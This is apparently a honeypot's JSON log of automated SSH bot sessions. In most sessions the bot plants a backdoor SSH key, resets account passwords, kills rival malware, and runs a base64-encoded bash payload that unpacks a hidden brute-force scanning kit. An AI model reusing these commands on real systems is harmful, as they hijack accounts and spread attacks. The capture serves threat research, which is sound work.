1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T00:30:52.050342+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T00:30:52.050856+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T00:30:52.425650+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T00:30:52.426433+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T00:30:52.803227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T00:30:52.803805+00:00","kind":"output","latency_ms":null,"data":"vpn"},{"seq":29,"at":"2026-08-22T00:30:53.180686+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T00:30:54.195798+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T00:30:54.571523+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T00:30:54.945263+00:00","kind":"output","latency_ms":372,"data":"24G"},{"seq":33,"at":"2026-08-22T00:30:56.238146+00:00","kind":"input","latency_ms":null,"data":"echo \"vpn 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T00:30:56.613838+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T00:30:57.123426+00:00","kind":"output","latency_ms":507,"data":""},{"seq":36,"at":"2026-08-22T00:30:57.927379+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T00:30:58.742958+00:00","kind":"output","latency_ms":814,"data":"vpn 1234"},{"seq":38,"at":"2026-08-22T00:30:59.119784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T00:30:59.710310+00:00","kind":"output","latency_ms":590,"data":"vpn 1234"},{"seq":40,"at":"2026-08-22T00:31:00.091633+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T00:31:00.462195+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T00:31:00.957259+00:00","kind":"output","latency_ms":493,"data":"vpn 1234"},{"seq":43,"at":"2026-08-22T00:31:01.338327+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T00:31:01.774842+00:00","kind":"output","latency_ms":434,"data":"vpn 1234"},{"seq":45,"at":"2026-08-22T00:31:02.149916+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T00:31:10.804804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T00:31:10.805373+00:00","kind":"output","latency_ms":null,"data":"vpn"}],"credentials":[{"username":"vpn","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"586c8448-b441-41be-a6a4-ce51a64e72cd","name":"crimson-frank-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"210.79.142.230","src_port":56430,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":740,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:44:40.988584+00:00","ended_at":"2026-08-21T22:44:41.220167+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3495,"events":[{"seq":1,"at":"2026-08-21T22:43:57.441928+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:43:58.179627+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:44:05.385768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:44:05.386428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:44:06.182815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qkXq5jktqR4M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T22:44:06.922447+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T22:44:07.661524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:44:07.662286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:44:08.415942+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:44:09.368103+00:00","kind":"output","latency_ms":951,"data":"15888 1350 10532 0 4005 1311"},{"seq":11,"at":"2026-08-21T22:44:10.106679+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:44:11.038652+00:00","kind":"output","latency_ms":931,"data":"-rwxr-xr-x 1 root root 148K Jan 28 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:44:11.777452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:44:11.778193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:44:12.517506+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:44:12.518149+00:00","kind":"output","latency_ms":null,"data":" 22:44:12 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:44:13.255611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:44:13.255954+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:44:13.997292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:44:13.998072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:44:14.750774+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:44:14.751432+00:00","kind":"output","latency_ms":null,"data":"top - 22:44:14 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:44:15.489142+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:44:15.489613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:44:16.227491+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:44:16.228208+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:44:16.967762+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:44:16.968322+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-21T22:44:17.706201+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:44:18.371275+00:00","kind":"output","latency_ms":664,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:44:19.121593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:44:20.123775+00:00","kind":"output","latency_ms":1001,"data":"24G"},{"seq":33,"at":"2026-08-21T22:44:22.434522+00:00","kind":"input","latency_ms":null,"data":"echo \"root Test12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:44:23.172084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:44:24.472806+00:00","kind":"output","latency_ms":1300,"data":""},{"seq":36,"at":"2026-08-21T22:44:25.776320+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:44:26.457220+00:00","kind":"output","latency_ms":679,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:44:27.196692+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:44:27.973282+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:44:28.711861+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:44:29.448786+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:44:30.119391+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:44:30.859373+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:44:31.445487+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:44:32.185356+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:44:32.791625+00:00","kind":"output","latency_ms":608,"data":""},{"seq":47,"at":"2026-08-21T22:44:40.989488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:44:40.989902+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Test12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"14592ca2-05d5-49de-bc8c-a65243d8b786","name":"crisp-thrifty-vole","protocol":"ssh","channel_kind":"exec","src_ip":"117.193.74.35","src_port":59762,"username":"moodle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:41:24.962326+00:00","ended_at":"2026-08-21T22:41:25.198772+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-21T22:40:40.899107+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:40:41.644355+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:40:48.419608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:40:48.422233+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:40:49.179288+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nIIrwRYBKu8sM\\nIIrwRYBKu8sM\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:40:49.933246+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nIIrwRYBKu8sM\\nIIrwRYBKu8sM\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:40:50.686702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:40:50.687566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:40:51.441671+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:40:52.409964+00:00","kind":"output","latency_ms":968,"data":" total used free shared buff/cache available\nMem: 15888 1247 13342 11 1298 14392"},{"seq":11,"at":"2026-08-21T22:40:53.164277+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:40:54.353066+00:00","kind":"output","latency_ms":1188,"data":"-rwxr-xr-x 1 root root 148K Mar 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:40:55.108588+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:40:55.109094+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:40:55.864672+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:40:55.865209+00:00","kind":"output","latency_ms":null,"data":" 22:40:55 up 1 day, 19:31, 0 user, load average: 0.1, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:40:56.620680+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:40:56.621534+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:40:57.376362+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:40:57.376851+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:40:58.131517+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:40:58.132186+00:00","kind":"output","latency_ms":null,"data":"top - 22:40:58 up 1 day, 19:31, 0 user, load average: 0.1, 0.12, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:40:58.886787+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:40:58.887440+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:40:59.641989+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:40:59.642581+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:41:00.397412+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:41:00.397957+00:00","kind":"output","latency_ms":null,"data":"moodle"},{"seq":29,"at":"2026-08-21T22:41:01.155437+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:41:01.852196+00:00","kind":"output","latency_ms":697,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:41:02.608242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:41:03.477652+00:00","kind":"output","latency_ms":868,"data":"24G"},{"seq":33,"at":"2026-08-21T22:41:06.246293+00:00","kind":"input","latency_ms":null,"data":"echo \"moodle 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:41:06.997267+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:41:07.552036+00:00","kind":"output","latency_ms":553,"data":""},{"seq":36,"at":"2026-08-21T22:41:09.696354+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:41:10.306772+00:00","kind":"output","latency_ms":609,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:41:11.064296+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:41:11.694514+00:00","kind":"output","latency_ms":625,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:41:12.473608+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:41:13.228248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:41:13.933014+00:00","kind":"output","latency_ms":703,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:41:14.686307+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:41:15.323481+00:00","kind":"output","latency_ms":635,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:41:16.078577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:41:16.670827+00:00","kind":"output","latency_ms":590,"data":""},{"seq":47,"at":"2026-08-21T22:41:24.978237+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:41:24.979825+00:00","kind":"output","latency_ms":null,"data":"moodle"}],"credentials":[{"username":"moodle","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"53a3648e-931d-4b38-a64e-98873cd47818","name":"grumpy-twilight-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"49.207.247.60","src_port":8157,"username":"kk","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":642,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:15:18.046669+00:00","ended_at":"2026-08-21T22:15:18.243265+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3926,"events":[{"seq":1,"at":"2026-08-21T22:14:40.189035+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:14:40.830343+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:14:46.769295+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:14:46.770077+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:14:47.417597+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kk\\nEpaQPZjB4biy\\nEpaQPZjB4biy\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:14:48.057219+00:00","kind":"input","latency_ms":null,"data":"echo \"kk\\nEpaQPZjB4biy\\nEpaQPZjB4biy\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:14:48.699737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:14:48.700444+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:14:49.342841+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:14:50.092457+00:00","kind":"output","latency_ms":748,"data":"Mem: 15888 1267 11023 46 3558 1456"},{"seq":11,"at":"2026-08-21T22:14:50.732894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:14:51.501370+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 142K Jan 10 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:14:52.142642+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:14:52.143220+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:14:52.786746+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:14:52.787340+00:00","kind":"output","latency_ms":null,"data":" 22:14:52 up 1 day, 19:04, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:14:53.429119+00:00","kind":"input","latency_ms":null,"data":"uname 